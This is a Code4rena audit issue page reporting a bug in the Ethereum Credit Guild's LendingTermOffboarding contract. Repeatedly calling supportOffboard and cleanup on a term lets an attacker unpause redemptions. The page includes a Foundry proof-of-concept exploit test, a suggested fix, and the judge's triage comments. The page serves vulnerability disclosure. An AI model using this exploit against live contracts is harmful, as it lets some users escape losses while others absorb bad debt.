Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Redemptions can be unpaused by cleaning up the same term multiple times #1187

Closed
c4-bot-5 opened this issue Dec 28, 2023 · 7 comments
Closed
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-1141 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-bot-5
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138

Vulnerability details

When a quorum is met canOffboard[term] is set to true which means that the term will be offboarded and all loans will be closed. When all loans are closed cleanup() is called and canOffboard[term] is set to false.

The problem here is that the polls mapping tracking the quorum supporting the removal is not reset and when canOffboard[term] is set to false, the attacker can call supportOffboard() again and because quorum was already met and the polls mapping wasnt reset, canOffboard[term] will be set to true again when the attacker adds 1 wei of voting power.

The attacker will then be able to call cleanup() again because the term is deprecated and has 0 issuance, this will then decrease the nOffboardingsInProgress and the attacker can repeat this until redemptions are unpaused even though other terms are currently being offboarded and liquidations are happening.

The only requirement here is that the first cleanup happened < 7 days(POLL_DURATION_BLOCKS) from the proposal creation so that the attacker is able to call supportOffboard() again after the first cleanup.

There is no proposal delay when offboarding and the auctions are 30 minutes so < 7 days is completely possible.

Impact

The attacker will be able to unpause redemptions while other terms are being offboarded which breaks the core protocol functionality. Some users will be able to redeem through the PSM to avoid losses while some users will suffer big losses and bad debt will not be handled fairly.
This will also break the LendingTermOffboarding contract because the nOffboardingsInProgress will not correspond to the actual number.

Proof of Concept

This test demonstrates how an attacker can unpause redemptions even though 2 terms are currently being offboarded by repeatedly cleaning up the same term until nOffboardingsInProgress is 0.

Add this to LendingTermOffboarding.t.sol and import "@forge-std/console.sol";

function testCleanupAttack() public {
        address attacker1 = makeAddr("attacker1");
        guild.mint(attacker1, 1);
        vm.prank(attacker1);
        guild.delegate(attacker1);

        address attacker2 = makeAddr("attacker2");
        guild.mint(attacker2, 1);
        vm.prank(attacker2);
        guild.delegate(attacker2);

        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.offboard(address(term));


        // get enough CREDIT to pack back interests
        vm.stopPrank();
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        // cleanup
        offboarder.cleanup(address(term));

        //Assume there are 2 other active terms being offboarded
        vm.store(address(offboarder), bytes32(uint256(6)), bytes32(uint256(2)));
        console.log("There are %s terms that are currently being offboarded", offboarder.nOffboardingsInProgress());

        //THE ATTACK STARTS HERE
        //THE CLEANUP SHOULD HAVE HAPPENED < 7 days from the proposal creation
        vm.prank(attacker1);
        offboarder.supportOffboard(snapshotBlock, address(term));

        //The term can be offboarded again
        assertEq(offboarder.canOffboard(address(term)), true);

        //cleanup() is called again, nOffboardingsInProgress is now 1
        offboarder.cleanup(address(term));

        vm.prank(attacker2);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.cleanup(address(term));

        //The proccess is repeated, the nOffboardingsInProgress is now 0 
        //Lenders can redeem even though there are 2 other active terms being offboarded 
        console.log("The nOffboardingsInProgress is %s ", offboarder.nOffboardingsInProgress());
    }

Tools Used

Foundry

Recommended Mitigation Steps

supportOffboard() should check if the term is deprecated and revert if yes.

require(!GuildToken(guildToken).isDeprecatedGauge(term),"LendingTermOffboarding: ");

Assessed type

Invalid Validation

@c4-bot-5 c4-bot-5 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 28, 2023
c4-bot-10 added a commit that referenced this issue Dec 28, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Jan 1, 2024
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as duplicate of #1141

@c4-judge
Copy link
Contributor

Trumpero changed the severity to 2 (Med Risk)

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue satisfactory satisfies C4 submission criteria; eligible for awards and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Jan 25, 2024
@c4-judge
Copy link
Contributor

Trumpero marked the issue as satisfactory

@Trumpero
Copy link

Trumpero commented Feb 7, 2024

dup of #1141 due to the same root cause: supportOffboard can still be called after offboarding.

@c4-judge
Copy link
Contributor

c4-judge commented Feb 7, 2024

Trumpero marked the issue as not a duplicate

@c4-judge c4-judge reopened this Feb 7, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Feb 7, 2024

Trumpero marked the issue as duplicate of #1141

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-1141 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

4 participants